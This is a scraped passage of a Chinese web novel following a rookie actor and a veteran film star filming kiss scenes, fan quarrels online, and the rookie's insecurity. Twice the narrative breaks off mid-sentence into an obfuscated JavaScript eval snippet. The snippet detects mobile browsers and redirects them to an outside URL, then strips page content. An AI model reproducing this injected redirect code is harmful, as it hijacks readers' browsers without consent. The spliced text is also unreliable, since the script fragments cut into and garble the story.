信洋动作太突然太浮夸,惊到了奈儿。它蹦到地上又跳上床,转头对信洋呲牙哈气。 这只娇甜妩媚的金吉拉,银发大佬不离身的爱宠,是剧本里唯一跟狼崽争宠能平分秋色的存在。 颜纯:“挠到了吗?” “没没没。”信洋维持着被吓到的慌张,躲了颜纯伸来探伤的手,心里一阵窃喜。幸好被打断了,要不然真亲下去了。 剧本里只写了捧上去亲,怎么亲?歪头亲还是正面亲?碰一下嘴皮还是直接啃?还是嗦?用舌头吗?舌头怎么用?舔还是甩? 啊啊啊啊啊啊啊!什么舔不舔的,谁要亲男人啊!啊不,我是一名专业的演员,我的目标是最佳新人,我要专业!我要敬业!我要热爱我的事业! 颜纯收回手,抱奈儿在怀,捋着毛轻声笑它:“小公主胆点越嚟越细,唔好惊哥哥仔呀。” 信洋听得一愣,颜影帝讲粤语好苏。 袁导:“OK吗?” “补妆再来一条?” “袁导袁导!”信洋跑上前,说想看前面拍的。袁严给他看了,他又支支吾吾的,说:“等会儿我要从哪个角度亲下去?” “随便。” 信洋:“……” “我左脸比较好看,袁导。” “左脸右脸都会拍,去准备。” 信洋下了决心,一脸悲壮地回到镜头里,一脸悲壮地演完前半部分,眼一闭,捧住颜纯的头就啃了下去。 啊啊啊啊啊啊! 我亲嘴了! 我亲男人嘴了! 妈妈!人家初吻就这么—— 咦?怎么这么软? 诶?!怎么还有点甜?!好像是桃味? 妈耶,口感这么好呢! 天哪,好好吃哦…… “呃啊!” 伴随着颜纯的痛叫,镜头里出现了鲜红色。他红润饱满的下唇瓣,在某人撞、嘬、嗦、碾磨等一系列非常明显的尝鲜动作的折磨下,破了。 镜头特写了颜纯那红艳的唇瓣两秒,袁导喊了卡。“叫蔡医生。” 他意味深长打量着在一旁哆嗦的信洋,好你个臭小子,挺能装啊,平时话都不和颜纯说,让亲嘴一上来直接给人啃破了,这力度得馋成啥样啊。 有意思。 副导演利索喊来了剧组医生小蔡。 “对不起。”信洋神色仓皇,连连弯腰道歉,脑子里却控制不住地飘起一行又一行:好甜好甜…… “严重吗?”袁导上前询问。 颜纯摇头,“没事。” “得。”袁导抬头扫一眼这两人之间的古怪氛围,说:“直接转事后的景。” 诶??? 4. 第4章 啊?什么事后?事什么后?是要给我的初吻办后事吗? 还沉浸在: “好软男人的嘴也是嘴嘛”“下一场吻戏啥时候拍” “奇怪怎么亲完就不紧张了”“下一场吻戏啥时候拍” “呜呜呜初吻再见”“下一场吻戏啥时候拍”中的信洋,被导演的脑回路惊呆了。 怎么就直接事后了? 十分种后,当他看到颜纯被小蔡医生处理过的,微微结痂的嘴唇后,他心里对袁导默默竖起了大拇指。 这确实很事后哇!果然导演就是剧组的神,他以后要乖乖听导演的话。 颜纯估计确实疼到了,他跪坐在椅子里,挺直腰让小蔡医生处理的样子就像受疼了等妈妈摸摸头的小孩,简直乖的不行。 信洋都能想到,这张剧照要是传出去,正正姐们那磕出幻肢的样子得多疯癫。 事实证明,人真的不能没事干瞎蛐蛐粉丝儿。 信洋还没反应过来呢,就稀里糊涂的被执行导演一顿安排,脱了老头背心,躺在了颜纯身后。 剧本里有这场戏吗?没有! 果然,那句广为流传的话不是骗人的——袁导的剧本只有他自己能看到。 “亲后脖颈子总磕不到了吧?”袁导语气甚是不耐烦。他看了眼表,距离老婆的飞机落地还有四十分钟,从这里赶到机场不算堵车时间至少半小时,谁要是耽误他接老婆,就打!断!腿! 颜纯是侧睡的,信洋支起上半身,从背后靠近他。下面的那只手紧紧拉着被子挡在胸前,挡在他和颜纯之间。 终于到一个信洋自认为的安全距离了,他停了下来,从这个角度,他能看到颜纯的黄金侧脸。而黄金侧脸最无法忽视的,就是他完美优越的鼻子。 鼻梁挺直,鼻尖翘,鼻翼精致,某些时刻很显娇。比如此刻。 这个人真是太会长了,多一分粗糙,少一分小家子气,真正是恰到好处,越看越好看,越看越上瘾。真是谢谢女娲娘娘,创造出这样的仙品让我能这么近距离观赏。 信洋看着眼前的脸,心里莫名冒出了一种奇异的满足感。 “卡。” “你为什么能笑得像个老母亲,古信洋?”袁导黑脸道,“欣赏够了没?可以亲了吗?” 谁欣赏了?才没欣赏呢,袁导有时间去看看眼睛吧。 信洋咽口口水,“可、可可以了。” 他试着对准颜纯后脖颈最中间,缓缓咬下去,叼起皮。 颜纯顿时一个激灵。 袁严:“……” 袁导一拍大腿而起,脸上充满震惊、茫然、不可置信。眼前这一幕是人能演出来的?这实拍的表现和平时培训成绩全优的状态简直就是两个人,“古信洋你回了趟家换了个脑子?” 信洋:“……”有点无法反驳。 他默默松开那一口大白牙,默默后退和颜纯拉开距离,默默抱紧了胸前的被子,狠狠嗅着来自颜纯身上浅浅的甜香,被子底下大拇指和大拇指开始默默绕圈圈。 怎么了嘛,不就嗦得用力了点嘛,至于瞪那么凶嘛! 他在那儿碎碎念抱怨:“谁让你开拍前不导戏的,我本来就是个新人,我已经很努力了,我不管!我没错!都是导演你——” 颜纯侧脸,瞅他一眼。 信洋立马改口:“我错了。” …… 不远处袁导长叹口气,没事哒没事哒!你亲自选哒!从几千个人里选出来哒!最重要是免费哒!免费哒你还要求什么呢?表现成这样已经很不错了好不好,对着颜纯有这种反应不是很正常,纯毕竟是老婆认证过的颜值啊。 想到老婆袁导就开心了。 “行吧,今天就到这,明天再说。”他说,“今天算加班,都早点睡,明早早班拍B组。” “纯,晚上叫他到你房里走走戏。按今天这速度拍到马克上月球了,片子都上不了。” 话没嘱托完,袁导已经消失在片场门外了。 他的剧组工业化程度很高。员工们都住宿舍,吃饭均在食堂,每天朝八晚八,双休,加班另算。通常情况下,他是最不爱加班的那一个,今天实属特殊。 颜纯看着袁导潇洒离去的背影冷哼。你忙着甜蜜,把活都留给我这个孤家寡人,不教。调教演员本来就是导演的事。 他还没说话呢,就听到信洋冷硬的声音从身后传来:“颜老师,我今晚没时间。” 颜纯扭头:“有时间干吗?” 信洋被他反问得一愣,那么柔软的嘴怎么能说出这么冷硬的话? “放心。”颜纯继续说,“袁导会亲自教你的。” 早前动作培训时,全剧组人员都到齐了,边炼身体素质边磨合文戏,就他搞特殊不对文戏,今天还迟到了整半天,抛开背景家世,开机前资方的操作,他不喜欢已经进组了还这么不敬业的孩子。 “好啊,有袁导教就不麻烦颜老师。” “你有本事逃那两节课,没本事一遍过?”颜纯从没因对手演员的NG次数发过火,但这个年轻人对他莫名其妙的敌意让他烦躁。 两节!两节!他竟然记得是两节,这平时得多关注我啊。“颜老师你、你怎么知道我逃了两节课?” 颜纯:“……”我是瞎吗我?对手戏演员在不在我看不见?袁导分别给这些新演员安排了多少节私课他不清楚,但他参加的集体公共表演课就两节。记住这点是什么值得兴奋的事吗? 他都不知道能爆这种发言的程度,到底是眼前这个家伙故意的,还是他印象中自己已经是那种连两节课都记不住的老前辈了? “小子,你对我是不是有什么意见?” “不敢。” “不敢就多研究研究剧本,多练习着找找镜头,别最基本的互动都不会。” 颜纯这话说的是毫不留情。在场其他人都有点懵,怎么好脾气的他今天语气这么硬。 话说完,颜纯就离开拍摄场地了。信洋愣了几秒,拔脚追出来,年轻就是沉不住气,兜不住事,说话完全不过脑子,咔咔就往外蹦。 他冲颜纯背影大喊:“宋建桥是我兄弟,铁哥们!” “谁?”颜纯显然没想起这么一号人物来。他真心实意疑惑的样子,令信洋为铁哥们感到深深不值。 几秒后,颜纯仰头朗声大笑。月色下,他柔软的半长银发镀着一层银光,有几缕发丝从耳后垂下,信洋忽然想到了刚才靠近那里时闻到的甜,他倏然收回目光。 颜纯再未说话,潇洒摆摆手,沐着月光走了。上一次碰到类似这种“你拒绝了我铁哥们,所以我不会对你客气”的事,得是十多年前了,太幼稚了,真的太幼稚了。 信洋看着他走远,握紧了拳头。他气哼哼跑去练了一小时信狼拳,回到宿舍冲了个凉水澡心里才好受点。 躺在床上刷手机,看到今天他和颜纯同框的照片已经过模糊处理被曝光,空降热搜,他就知道,在这个一张照片足以卷起狂浪的信息流时代,他身后在营销方面目前仍一家独大的港城娱乐,已经开始动作了。 不过粉丝们似乎并不买账,热搜话题里点进去都是掐架的。 信洋的粉丝们早年间叫“甜心圈”,是根据信洋笑起来超甜的特点取的。都叫什么189甜心的泪、189甜心的腿、189甜心手臂的青筋、189甜心的D…… 但在信洋要死要活的抗议下,就改成了正正姐。她们觉得信洋每次跳着惹火性感的舞,但表情总是一脸正气的反差很好玩。 正正姐们和信洋一样,脾气都热情火爆,非常团结,且一个个都战斗力爆表,掐架对骂从来没输过。 颜纯的粉丝名叫“金刚妹”,取自他出道饰演的第一个角色——陈金刚。 金刚妹们其实还有个很小众的称呼——辣哥妹。当年颜纯刚出道时粉雕玉琢冰山美人一个,成年后他那张脸美得越来越霸道张扬,穿衣打扮也性感热辣,粉丝们有段时间边自称辣哥妹。 后因颜纯又换回了保守潦草的“直男风”,粉丝们又重新叫回了金刚妹。 金刚妹们跟了颜纯,低调富有,佛系随性,基本不吵吵,平时都主打一个“窝囊阴阳发疯风”,最擅长的就是在年末各大需要砸钱的奖项上将颜纯送上NO.1,气死对家。 此时,她们正在就信洋和颜纯的年龄差吵翻天。 正正姐:差了10岁!我天,古信洋你是真饿了。 正正姐:对戏都有老人味了吧,怎么下的去嘴。 正正姐:亲什么嘴,洋仔铁直好吧,吻戏肯定借位,激情戏肯定全用替身。 正正姐:影帝也就有个脸,身材最多初二,我家洋仔真是没苦硬吃。 窝囊组金刚妹:32就有老人味了?那我这四十的老阿姨还怎么活啊?(以头抢地痛哭流涕仰天长啸死去活来)求求你们哥哥不要嫌弃我们老人家,求求了! 阴阳怪气组金刚妹:清汤大老爷!我们只是老,不像你们家geigei那么小~ 正正姐:你说谁小?姐妹们,上图! 正正姐们刷刷刷,甩出几十张信洋某部位在舞台上的特写图,自信发问:这小? 这确实不小。毕竟“古信洋 大”的词条曾不止一次冲上过热搜。 富婆组金刚妹,抬手就是十个大红包:知道你们大,但你们也别太大,毕竟我们美人攻用不上。 一群拔剑准备大干一场的爆爆龙正正姐:…… 什么意思?花钱买上下? 那哪能行,我们洋仔189的个头一看就下不了。 可是有红包。 那也不行,不能委屈我们洋仔大居居。 但是有红包。 没有红包的信洋:为什么每次你们battle ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124099|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤的都是我?为什么要存那些羞耻动图?为什么还要犹豫?先领红包啊! 他又气又无奈又想笑。年龄这个话题有什么好battle的。就现在他这糙汉样和颜纯站一起,明显人家更年轻好不好。 唉,信洋翻了个身,继续划拉手机。除过这些battle言论,他还看到许多夸他电影感不错,眼神戏到位的言论。 爆出来的就一张照片,能看出什么眼神戏。想想今天自己的表现,信洋越看越心虚。这行为在他眼里就是在骗粉丝提前消费。他怀着一腔歉意,空降粉丝群道了声晚安,准备拉过被子蒙头大睡。但铁哥们的电话,打断了他。 “兄弟,和颜纯面对面实拍感觉怎么样?有没有被他迷倒?” “怎么可能,和培训时差不多,没什么感觉。但是他看我眼睛都直了,还想摸我肌肉,我没同意。” “你可别放狗臭屁了,人压根不喜欢肌肉猛男,人喜欢美少年,你哥哥我这样的。” “我明天来探班行不?”宋建桥跃跃欲试。 “你想让我被开除你就来。” “这么严重呢?哎对,你同组的那个漆疾风,叫你出去玩你别去,那家伙是个玩咖,哥哥不在你被下套都不知道。” “行,知道,挂了。”什么美少年,呵呵。 挂了也睡不着,就是睡不着。 “你有本事拍前不对戏,没本事一遍过?”这话简直就是容嬷嬷的针,在不断扎他的心。 他骑着被子翻来覆去,辗转反侧,脑子里全是颜纯看向他的那冷冰冰的眼神。 看不起我,他们都看不起我。袁导今天能耐着性子到这地步,全是看在他妈,港片黄金时代的代表人物,翁美霞女士的面子上。而颜影帝能陪他实验法演戏,全是因为人本身就是位非常敬业的演员,和他没有一点关系。 想起妈,信洋就不可避免地想起渣爹,想起他在妈妈离世后养了多少个情人,想起明明是他心胸狭隘,自私自利,出轨在先,却反过来咬一口妈妈,以“鱼龙混杂的娱乐圈不再适合一位母亲”的狗屁说词,将她囚禁在家,断送她大好前程的可恶可恨! 不行!信洋一骨碌翻身起床,披衣下地,拿上剧本,直奔东边宿舍楼,敲开了307的门。 颜纯正趴在床上天人交战。 啊啊啊啊,好馋烧烤!好想咬一口馋炸得外酥里嫩的年糕,嚼啊嚼啊……可还要为饰演安耀阳保持身材,啊啊啊啊! 不管了,就今晚吃一点,又不是天天晚上吃,大不了吃完立马减。 他点进外卖软件,搜索烧烤,点进一家店,把爱吃的所有菜全点了一遍,点了128块钱的,最后付款时及时刹车,不行不行!要忍住,拍完了再吃,要不然肥就白减了! 烦死了真是!就不能天降一根年糕,一根又大又—— 当当当,敲门声打断了他思绪。他起身打开一看,门口的并不是一根又大又直的梦中情糕,却是一张没留给他什么好印象的脸,语气顿时充满不耐烦:“有事?” 信洋一愣,心里顿时冒出一个念头,果然,颜老师真的很不喜欢他。 反正收到过几卡车的不喜欢了,无所谓的,要坚强。 他自知理亏却又拉不下脸来道歉的小孩似的,“我的确没本事,颜老师,请您教教我。” 这就承认自己没本事了?颜纯没说话。这家伙倒是挺坦诚。 信洋双手捧上剧本:“请您教我演戏,我想当影帝。” 啧啧啧,听听这雄心壮志。颜纯二十出头的那年代,并不流行“野心外露”的人设,但凡有人想争先想出名,不是被同行排挤就是被媒体狂嘲。当然,他本来也是情绪极少外露的人,勃勃野心在拿到第一座影帝奖杯后,更是被他埋在了那些谦和无害的笑容里。 但现今这个时代不同了,大家都把事业心挂在脸上,坦坦荡荡,堂堂正正,正主的积极执行力或多或少影响着追捧者,形成了整体向上的风气,是一件非常好的事。 颜纯现在虽然自己步伐慢了,但他喜欢看别人奋发图强,但如果别人想以进步的名义入侵他的领地,他就很反感。 “去找袁导。”颜纯说着要关门,被信洋挡了。 他还是不太敢和颜纯对视。但勇了几勇,他还是红着脸说出了准备了几万次的话。 “我看过您的所有作品,4部电视剧,8部电影,2台话剧和1次春晚小品1次脱口秀开幕演讲。你三年前年拿影帝的《请打给麦先生》也是和袁导合作的,我看了二十一遍,你是全球同龄现役男演员里我最喜欢的。 “嗯……所有男演员,不包括女演员。所以!拜托您,请您教教我演戏。” 剧烈的心跳声里,信洋两手捧着剧本九十度郑重弯腰。 在这样一个月光明亮的夜晚,他把自己赤裸裸的欲望,和一颗赤诚的心,都捧到了颜纯面前。 5. 第5章 颜纯沉默着。 孩子这阵仗把他整不会了。他伸手翻了几页写满注释的剧本,说:“我是野路子出身,确实不会教演戏,你要是想跟着学就学,随你。” 信洋直起了腰。 颜纯脸上坦坦荡荡,眼神也干干净净,没有敷衍他也没有骗他。他心里的火苗熄灭了。 “那……打扰了。” “说完了?” 信洋点点头,退后,让颜纯关上了门。 呼—— 好难受。 好难受! 他粗暴地揉捏着剧本,转身下楼。 一会态度傲慢拒绝人,一会又来郑重其事求门,颜老师该不会以为我是个精神分裂的大傻子吧。他到底为什么不喜……讨厌我?为什么!我真的那么讨厌吗…… 信洋两腮鼓起,委屈成悲伤蛙,开始撒丫子狂奔…… 颜纯倒没觉得他精神分裂,年轻人嘛,矛盾、别扭、没个定性,前脚说的话后脚自己又推翻,都正常,能理解的,完全能理解。 毕竟,人都说了——我看过您的所有作品。喜欢看他戏的人又能坏到什么地步呢?嘿嘿。 颜纯越想越乐。 所有作品哦,哈哈,好开心。 他抓起床上的一只玩偶,抱着玩偶哼起人生之歌扭起来—— 请你呀来到我的身旁 让我的心呀不再流浪(1) …… “逗,你说他……多多少少还是有点毛病的吧?”四肢谁也顾不上谁的扭完一舞,他往床上一瘫,把这只两只小爪搭在胸前,呈懒洋洋躺姿的一只毛色发旧的小海獭玩偶放到自己肚皮上,和它对话,开始背地里蛐蛐人。 小海獭,大名颜走之,小名逗逗,陪伴颜纯二十年,颜纯工作走哪把它带哪。 “什么?帅到可以忽略脑子不好?” “你这个小花痴,他好看还是我好看?” 如果外人看到这个自问自答的场景一定会觉得大影帝多少有点病,但颜纯就是单纯爱吐槽,又没人听他吐槽,只能苦了逗逗陪他解闷。 “我脸比他好看,他身材比我好是吗?你也看到那一身肌肉了?啧,确实,那一身肌肉……今天没好意思摸……” 颜纯就这性格,他喜欢那肌肉,绝对不会主动去摸。信洋送到他手边了,他都不摸。得信洋把他手按上去了,他才会好吧好吧你都这样了,那我就勉强摸一下吧。 …… 颜纯回味那颇具糙性美感的身体,那结实饱满,将裤子布料撑起形状的大腿肌肉,不过分健壮,又延伸出十足的安全感,还蛮符合他审美的。 之前总在各种短视频平台上能刷到信洋跳大腿舞的特写片段,评论区总有一堆留着哈喇子的表情包喊“男菩萨蜜大腿”,果然挺蜜大腿,哪天一定大着胆子感受感受。 颜纯他是那种吃不胖的,练肌肉也很费劲,所以打小就喜欢这种大块头……的肌肉。但是没几个人知道他这嗜好。 回味片刻,他漂亮的双眼一眯,大黄小子本体暴露,色兮兮笑起来对逗逗说:“我明天就替你摸几把,试试手感怎么样,好不好?” …… 围了操场狂奔了几圈,出了一身汗,信洋觉得舒服些了才回宿舍。 冲澡的时候情绪回落,理智回笼,他理性分析到——这伤心对他而言挺陌生的,因为以往被拒绝就被拒绝了,他从来都是你看不上我是你的损失,我绝不会因为你的几句话就怀疑自己的能力。 但这次…… 好像不管自己怎么努力,在表演这方面,他永远都够不到颜纯的标准。啊!这个念头一旦冒出来,就抓心挠肺的难受。 他抓着花洒狂喷自己,边喷边安慰自己,无所谓,颜影帝不认可就不认可吧,在袁导那儿过关就行。反正不认可他的人多了去了。 话虽这样说,但这晚,信洋还是失眠了。 他控制不住地焦虑,内耗。 打开收藏的各位前辈们得新人奖的鸡汤素材,他也感受不到激情快乐,无法再代入做梦。于是索性爬起来去练字。 翁美霞喜欢一切传统文化,最爱写毛笔字,画山水画,这一点影响了信洋。他从记事起就会拿毛笔了。 记忆中妈妈说过,他天性跟父亲古德强,容易急躁上火,做事没什么耐性和韧性,如若不找到擅长并喜爱的领域深耕,将来做事肯定就会像古德强一样,永远三分钟热度,做什么都失败。 翁美霞发觉了他在音乐方面的天赋,从小加以培养。妈妈走后,即便古德强不让他学音乐,他也没有放弃走这条路。坚持了十多年,才来到今天这个位置,现在,他又要踏入一个全新的领域。 信洋知道,急不得的。哪一位前辈拿奖之前,没有个十来年,甚至几十年的积淀呢?他古信洋有自知之明,他演戏完全没有唱歌来得得心应手,凭什么一部戏他就能拿奖? 信洋提笔挥洒—— 急不得急不得。 要坚持长期主义。 世界上不可能有第二个颜纯。 不是谁都可以二十岁就拿影帝。 你的水平还远远涉及不到天赋一说。 先努力吧。 其实可能沉淀一辈子,都达不到人家的高度。尽力就好。 所以……他到底为什么那么讨厌我?我这么板正,腿这么长,腹肌对得这么齐,这么年轻,这么有劲,我聪明又美丽的脑子上称都能多称半斤,我还能挣钱,我还会跳大腿舞,我还是万人票选的“国民小老公”第一名,他凭什么讨厌我?这么多优点他看不见吗?凭一场戏就给我定性了? 他自己采访里说的,勤奋不能补拙,勤奋要花在自己擅长的领域上,演戏又不是我擅长的,我唱歌那么好听也没听他夸过呢,培训时他夸翘哥,他夸阿朝姐,他连漆疾风都夸,葵葵给他找个道具他都夸人勤快,奈儿吃个猫粮他都夸奈儿可爱,一上午足足夸了十八遍!我呢?一句话都不跟我说!他区别对待!他……他…… 停!收! 想他干嘛,反正也不在乎他。信洋重新聚神,继续写: 所以……正视自己。 有人在金字塔尖,那必定有人在金字塔脚嘛。总归都是金字塔,也算有点联系。 而且是你自己争取来这个机会的,已经很棒了,加油! 坚持守正出奇。 一定要坚持守正出奇。 上小学的时候,他从姐姐专门记录明星名言的小本本上看到一句话——只要坚持做好手头的每一件小事,积累多了事情自然会将人托举出来,这就是守正出奇。 他当时觉得好有道理,就当做座右铭了。转眼这么多年,信洋很欣慰,这句话没有骗他。做多了,总会被看到吧…… 把心里的想法通通倒出来后,信洋长舒口气,终于感觉轻松了点。再次上床,他找了个下雨声做的助眠音频,听了不到两分钟就打鼾了。 第二日,信洋五点半就起床。先去跑步热完身,再去训练场练信狼拳。 练完食堂刚好开门,简单吃完早餐,去B组的戏拍动作戏。他的镜头今天这场只有两个,一个吊威亚俯冲,一个疾跑离场。动作戏是他的强项,两场加起来NG了三次就过了。信洋还觉得没拍过瘾,问袁导什么时候才正儿八经让他苦练的信狼拳惊艳出场,袁导说还早呢,遂安排他现场观摩其他演员表演。 这部戏的动作戏大头由饰演蛇女的盛妆和三位前辈担当。今天有盛妆的戏,她是出了名的拼命三娘,每个镜头拍完,都会到监视器前查看。自己觉得不行,就会要求重拍。 信洋每听她说一次“再来一条”时,都有小时候那种学渣看学霸又拿出新解题方式时的震撼和佩服。他巴不得一条过,人家连过都要追求完美。人和人呐,差距太大了。 另一位戏份重的青年演员,饰演阿猫的漆疾风,在外形上很占优。桃花眼,大卧蚕,花衬衫,猫眼小墨镜,棕色西装裤加米黄色大西装,痞痞的迷人微笑,花天酒地的气质,站在镜头里一眼就把人带回了复古的90年代。 镜头会把优点放大,亦会让缺点无处可逃。漆疾风的缺点就很明显——他不认真。 和信洋那种一头蛮力到处使,却不得章法的新人状态不一样,他是属于袁导不明确要求,他就演个及格线的态度。袁导板着脸严肃了他才会想法子去琢磨如何达到要求。 据信洋所知,整个剧组带资进组的就俩人,一个他,一个漆疾风。 “这剧反正有前辈们扛着,咱们就是个点缀,使那么多力干吗?到时候一剪没不就白干。走,哥哥带你happy去。”漆疾风提提裤腰带搭上信洋的肩,要带他去玩。 信洋不动声色和他距离。说了八百遍了不喜欢过多的身体接触,这些人怎么一点记性都不长。 他心里不得劲,但面上依旧保持着对前辈演员该有的尊重,不卑不亢道:“风哥我就不去了,晚上还有戏。” 晚上还有一场和颜纯的戏。距离开拍还有四小时,信洋已经提前开始抓耳挠腮了。 不知道是不是他昨晚的表现太过蠢,这场戏,袁导改掉了剧本里他的全部主动性,全程让颜纯来引导。 信洋心里松了口气的同时,身体更紧张了。这场戏的拍摄场景在狼崽的房间,具体情节是自知理亏的安耀阳来抚顺暴怒狼崽,两人的关系已到未口头点破但彼此已心知肚明的阶段。一句话总结,就是一场Daddy哄小男友的戏,只不过不止用言语。 “各部门准备!” “146场1镜,321,action!” 安耀阳踱步进来。房间里挤着一堆烟雾,他抬手推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124100|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开窗户,转身靠在桌沿,抱臂。 “打算把自己抽死让我后悔?” 信狼瞪他一眼,没搭理他的意思。 安耀阳含着狼崽最熟悉的,看着小辈时才有的宠溺的笑,走过去,从他嘴里抽出烟,叼到自己嘴里。然后纤长苍白的五指,抬起狼崽的下巴。 狼崽不愿,偏头拧掉,他又抓住,手指微微用力,固定住,俯身贴近。 “我看看,都气成什么样了。” 贴得更近了,却未完全贴上。若即若离,暧昧至极。白色烟雾涌起,又消散。Daddy踩灭了烟,鼻尖蹭上气呼呼狼崽的,声音里没了调笑,只剩下低沉沉的真诚和讨好。两者缠在一起,信洋心口疯狂悸动。 “就这一次,原谅我?行不行?” 第一下亲吻落在狼崽气红的眼上,第二下,才到他绷直的嘴角。 这时候,狼崽应该做个动作,两只大手卡住Daddy的腰把他以跨坐的姿势按进怀里,但信洋忘了。颜纯没停,袁导没喊卡,表演正常进行。 Daddy含住了狼崽紧抿的唇,讨吻不得,便停下,再一次去蹭狼崽的鼻尖,同时,抓起他的双手环在自己腰上,按实。 灼热的气息直往信洋皮肤里渗,他听到从前隔着十万八千里,遥远如同那天上月的,只可仰望不可触碰的大前辈,在他耳边向他撒娇:“好唔好嘛?嗯?” “啊!”信洋突然一蹦子跳起,狠狠撞到了颜纯的鼻子,颜纯霎时痛出了眼泪。 “又发什么神经!”袁导怒吼。磕得正兴起被打断真令人烦躁。 信洋顾不上回答他,跳下床同手同脚狂飙到外面去了。 颜纯:“……” 他回头看向监视器外看笑话的袁严,袁严冲他无奈点头。颜纯顿时笑了。 到底是年轻啊,一个未竞的吻竟然给整出生理反应了,孩子应该是要找个地儿把自己埋了。 他接过助理递来的冰袋敷在鼻头,走过去问袁严:“能用吗?” “你自己看。” 监视器画面里,信洋打被他抽走烟后,双手便全程拧着床单,最后还直接两手揪起来了,羞涩紧张的意味相当浓重,和侵略性极强的霸道狼崽人设出入太大了。 “得,白干。”颜纯说。 袁导:“狗成这样了,还狼个屁。” “我看挺好的,保留吧。” 接他话的是袁导家属,已经息影的李麦。 袁导笑成花:“好,你字多,我信你。” 颜纯:“……” →_→ “别搁我面前秀啊。我这一天天的,报工伤啊袁导。” “报,必须报。我去看看,你先坐下缓会。”袁导喊来凌娅给颜纯补妆,自己出去找信洋。 信洋没跑远,他压根跑不远,他就窝在片场后面一个犄角旮里,等身体反应下去。 太丢脸了!太丢脸了!他抱着红透的头和脸蹲缩成一团,崩溃地低吼。为什么要挑战这么高难度的事情,就不能全程只打打打吗?别人家都是狼爱上羊,怎么到他这就成了狼非得变成羊! 他对着空气狂挥拳,挥完掏出手机,打给经纪人三字哥,试图分散下注意力。三字哥自他出道就带他,是除了他哥他姐最能让他安心的人。 “哦哟,这几天太忙都把你忘了,咋样啊祖宗,挨几顿骂了?” “骂倒是没挨,就是……丢脸了。” “丢呗哈哈哈哈哈,你那脸丢的还少哇。在大前辈们面前就别装球,老老实实的,抓住一切机会学东西,我有时间就来看你。” “哥等等!我……我想要个跟组的表演老师,我那啥……”信洋吞吞吐吐,把自己在培训时逃和颜纯对戏的事跟三字哥交代了。 其实文戏课当时安排的并不多,大多数时候颜纯不在场的课他都认认真真上了。算起来,只请了两节课的假。但就是这两节,弄的他现在总有种逃了整个培训的错觉。 “好好好,你小子。平时那么懂事稳重的,关键时刻你给我掉链子。你知道公司在这部片上压了多少吗?你等着,我今晚就杀过来剥剥剥你皮!” 挂了电话,信洋长出口气,站了起来。其实刚才从那个情景里跳脱,远离颜纯的气息,他就已经冷静下来了。 除了胸腔里异常兴奋狂乱的跳动。他都生出了一种错觉,皮肉似乎被撞得在波动。 同样异样感剧烈的,还有手。 男人的腰,一般不都直愣愣,硬梆梆的,怎么,怎么颜纯的就……有点软,两侧还有点弧度,他的手卡上去,刚好贴合,仿佛他的手天生就是为一寸腰长的,而且似乎稍微一用力,就能全握住然后—— 卧槽!卧槽!想什么呢?!停停停停停停!停! …… 信洋又蹲了下去。 …… 6. 第6章 “行不行?”好一会儿,袁导的声音传过来,信洋立马起身弯腰致歉:“袁叔,对不起。我刚……” “你之前为什么不跟颜纯对戏,对他有什么意见?” “没有没有,我……我的问题。” ” “现在很明显不只是你的问题,各个环节都因为你出现了不少新问题。” 袁严早年拍戏以严格闻名,十多年前让他名声大噪的成名作,他拍了三年,期间主要演出人员均照合同三年未有其他演出。他作品个人风格极其鲜明,只因每部戏的每一个角色每一个镜头,都是他说了算。 但这一次的《港色1993》,严格算起来是他的第二部大制作的商业片,所以他做出了让步——主动放弃了一部分话语权,为融入商业片市场做该做的取舍,让资本入场,用新人演员,前期训练有严格规定,但演员请假不会不批,信洋其他方面表现得都很出色,落两节文戏课可以追补。 电影工业在进步,袁导也在进步。他发现对大多数真心演戏的人而言,因材施教好过独断专横。所以他将自己在剧组绝对的主导地位尽量隐下,只负责提供最好的硬件设施,黄金团队,高于戏剧之外的统筹视野,把表演都交给多年合作的,极其信任的演员们去发挥。 他就像一个负责的,强大的大家长,提供最好的物质条件,去培养演员,去养他的每一部“孩子”。这是电影市场萎靡不振,但袁导一直逆流直上的最主要原因。 戏好,大过一切。 而千百种戏里,袁导痴迷于拍角色之间的感情流动,尽管最后成片出来,可能被他剪到只剩一个三秒的对视。 比如《请打给麦先生》里的最后一个镜头,颜纯回神遥望幻彩霓虹间那空荡荡的宽幅大屏。他绝望时刻那每日默默陪伴的全息投影,那个于他而言如最后一口呼吸的女孩已不在,他的绝望也随之流逝。 烟雨霏霏,麻木的人类提着公文包,再次混入人流。生与死没什么,难捱的是每时每刻,每分每秒。 那是袁导最爱表达的,爱情的第三种动人之处。不是男主眼里的女主动人之处,也不是女主眼里的男主动人之处,而是在他们双方都不知道 ,或者未在意 ,甚至错过的某些瞬间,一些情愫的流动。 这流动 ,高于爱情本体 ,是它的第三种动人。 而这种动人,最为迷人。 因为喜欢,所以珍视,所以袁导导戏时最不喜欢一板一眼将感情戏全都提前排练出来。 除了必备的基础戏,他更追求实拍时演员之间的碰撞。感情戏本来就是如此,都是一边磨合一边进步,期间演员之间情感的流动影响到角色,令其在镜头前爆发出他本人都不知道的能量,给出惊艳发挥,是他更希望看到的。 信洋垂头站了片刻,声音囔囔的:“袁叔,我是不太差劲了?” “是。” “你妈知道你现在这样肯定会伤心。” 信洋的头更低了。 “差不多就进来 ,今天怎么也得拍完这一场。” 